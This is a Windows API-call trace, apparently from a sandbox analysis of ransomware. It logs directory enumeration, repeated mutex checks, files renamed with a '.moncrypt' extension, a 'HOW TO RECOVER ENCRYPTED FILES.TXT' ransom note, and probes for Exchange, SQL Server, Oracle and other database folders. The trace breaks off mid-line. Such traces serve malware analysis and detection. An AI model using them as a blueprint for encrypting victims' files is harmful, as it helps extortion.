FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18e824 | out: lpFindFileData=0x18e824*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd504b000, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoaderUI.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 0 [0056.368] GetLastError () returned 0x12 [0056.368] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0056.369] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc251dc00, ftCreationTime.dwHighDateTime=0x1cab7c7, ftLastAccessTime.dwLowDateTime=0x5e4b68d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc251dc00, ftLastWriteTime.dwHighDateTime=0x1cab7c7, nFileSizeHigh=0x0, nFileSizeLow=0x2cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.config", cAlternateFileName="VSTOIN~1.CON")) returned 1 [0056.369] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.369] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.369] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.369] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.369] GlobalUnlock (hMem=0x440004) returned 0 [0056.369] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.369] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.369] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.369] GlobalUnlock (hMem=0x440004) returned 0 [0056.369] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.369] GlobalUnlock (hMem=0x44000c) returned 0 [0056.369] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.369] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d27ac0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x18558, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0056.369] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.369] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.369] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.370] GlobalUnlock (hMem=0x44000c) returned 0 [0056.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.370] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.370] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.370] GlobalUnlock (hMem=0x44000c) returned 0 [0056.370] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.370] GlobalUnlock (hMem=0x440004) returned 0 [0056.370] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.370] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5e950, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOLoader.dll", cAlternateFileName="VSTOLO~1.DLL")) returned 1 [0056.370] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.370] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.370] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.370] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.370] GlobalUnlock (hMem=0x440004) returned 0 [0056.370] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.370] GlobalLock (hMem=0x44000c) returned 0x557b88 [0056.370] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.370] GlobalUnlock (hMem=0x440004) returned 0 [0056.370] GlobalHandle (pMem=0x557b88) returned 0x44000c [0056.370] GlobalUnlock (hMem=0x44000c) returned 0 [0056.370] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.370] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 1 [0056.370] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0056.370] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0056.370] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.371] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.371] GlobalUnlock (hMem=0x44000c) returned 0 [0056.371] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.371] GlobalLock (hMem=0x440004) returned 0x557b88 [0056.371] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.371] GlobalUnlock (hMem=0x44000c) returned 0 [0056.371] GlobalHandle (pMem=0x557b88) returned 0x440004 [0056.371] GlobalUnlock (hMem=0x440004) returned 0 [0056.371] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.371] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd51096e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0xbb68, dwReserved0=0x0, dwReserved1=0x0, cFileName="VSTOMessageProvider.dll", cAlternateFileName="VSTOME~1.DLL")) returned 0 [0056.371] GetLastError () returned 0x12 [0056.371] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0056.371] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42b73560, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x42b73560, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x42b996c0, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0056.371] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.371] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.371] GlobalLock (hMem=0x440004) returned 0x550170 [0056.372] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.372] GlobalUnlock (hMem=0x440004) returned 0 [0056.372] GlobalLock (hMem=0x440004) returned 0x550170 [0056.372] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.372] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.372] GlobalUnlock (hMem=0x440004) returned 0 [0056.372] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.372] GlobalUnlock (hMem=0x44000c) returned 0 [0056.372] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.372] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0056.372] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.372] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.372] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.372] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.372] GlobalUnlock (hMem=0x44000c) returned 0 [0056.372] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.372] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.372] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.372] GlobalUnlock (hMem=0x44000c) returned 0 [0056.372] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.372] GlobalUnlock (hMem=0x440004) returned 0 [0056.372] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.372] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c693e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x4015, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee100.tlb.moncrypt", cAlternateFileName="VSTOEE~1.MON")) returned 1 [0056.372] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.372] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.372] GlobalLock (hMem=0x440004) returned 0x550170 [0056.373] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.373] GlobalUnlock (hMem=0x440004) returned 0 [0056.373] GlobalLock (hMem=0x440004) returned 0x550170 [0056.373] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.373] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.373] GlobalUnlock (hMem=0x440004) returned 0 [0056.373] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.373] GlobalUnlock (hMem=0x44000c) returned 0 [0056.373] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.373] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5615, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb.moncrypt", cAlternateFileName="VSTOEE~2.MON")) returned 1 [0056.373] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0056.373] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0056.373] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.373] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.373] GlobalUnlock (hMem=0x44000c) returned 0 [0056.373] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.373] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.373] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.373] GlobalUnlock (hMem=0x44000c) returned 0 [0056.373] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.373] GlobalUnlock (hMem=0x440004) returned 0 [0056.373] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.373] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6c8f540, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x5615, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee90.tlb.moncrypt", cAlternateFileName="VSTOEE~2.MON")) returned 0 [0056.373] GetLastError () returned 0x12 [0056.373] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0056.374] FindNextFileW (in: hFindFile=0x54e180, lpFindFileData=0x18f1e4 | out: lpFindFileData=0x18f1e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0056.374] FileTimeToLocalFileTime (in: lpFileTime=0x18f1f8, lpLocalFileTime=0x18f104 | out: lpLocalFileTime=0x18f104) returned 1 [0056.374] FileTimeToDosDateTime (in: lpFileTime=0x18f104, lpFatDate=0x18f1c6, lpFatTime=0x18f1c4 | out: lpFatDate=0x18f1c6, lpFatTime=0x18f1c4) returned 1 [0056.374] GlobalLock (hMem=0x440004) returned 0x550170 [0056.374] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.374] GlobalUnlock (hMem=0x440004) returned 0 [0056.374] GlobalLock (hMem=0x440004) returned 0x550170 [0056.374] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.374] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.374] GlobalUnlock (hMem=0x440004) returned 0 [0056.374] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.374] GlobalUnlock (hMem=0x44000c) returned 0 [0056.374] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.374] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.374] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.374] GlobalUnlock (hMem=0x44000c) returned 0 [0056.374] GlobalLock (hMem=0x44000c) returned 0x550170 [0056.374] GlobalLock (hMem=0x440004) returned 0x555b78 [0056.374] GlobalHandle (pMem=0x550170) returned 0x44000c [0056.374] GlobalUnlock (hMem=0x44000c) returned 0 [0056.375] GlobalHandle (pMem=0x555b78) returned 0x440004 [0056.375] GlobalUnlock (hMem=0x440004) returned 0 [0056.375] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0056.375] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders", len=0x3a | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders") returned 1 [0056.375] GlobalLock (hMem=0x440004) returned 0x550170 [0056.375] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.375] GlobalUnlock (hMem=0x440004) returned 0 [0056.375] GlobalLock (hMem=0x440004) returned 0x550170 [0056.375] GlobalLock (hMem=0x44000c) returned 0x555b78 [0056.375] GlobalHandle (pMem=0x550170) returned 0x440004 [0056.375] GlobalUnlock (hMem=0x440004) returned 0 [0056.375] GlobalHandle (pMem=0x555b78) returned 0x44000c [0056.375] GlobalUnlock (hMem=0x44000c) returned 0 [0056.375] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ù") returned 26 [0056.375] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@↶R↊R企@\x18䀴Q\x18\x1b")) returned 0xffffffff [0056.377] GetLastError () returned 0x3 [0056.377] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.377] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0056.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ù") returned 21 [0056.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18䁼Q\x181")) returned 0xffffffff [0056.378] GetLastError () returned 0x2 [0056.378] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.378] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0056.378] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@ꠜR企@\x18?T\x18;")) returned 0xffffffff [0056.379] GetLastError () returned 0x2 [0056.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0056.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@婴U企@\x18?T\x18D")) returned 0xffffffff [0056.379] GetLastError () returned 0x2 [0056.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0056.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18ꠜR\x18j")) returned 0xffffffff [0056.379] GetLastError () returned 0x2 [0056.379] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.379] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0056.379] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@婴U企@\x18?T\x18q")) returned 0xffffffff [0056.380] GetLastError () returned 0x2 [0056.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\ꠘRP") returned 6 [0056.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@儔R企@\x18?T\x18y")) returned 0xffffffff [0056.380] GetLastError () returned 0x2 [0056.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 0x3b [0056.380] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8a8, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0056.380] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a900, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="坜U䱠@℔R企@\x18?T\x18\x81")) returned 0xffffffff [0056.380] GetLastError () returned 0x2 [0056.380] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\", cchLength=0x3b | out: lpsz="c:\\program files\\common files\\microsoft shared\\web folders\\") returned 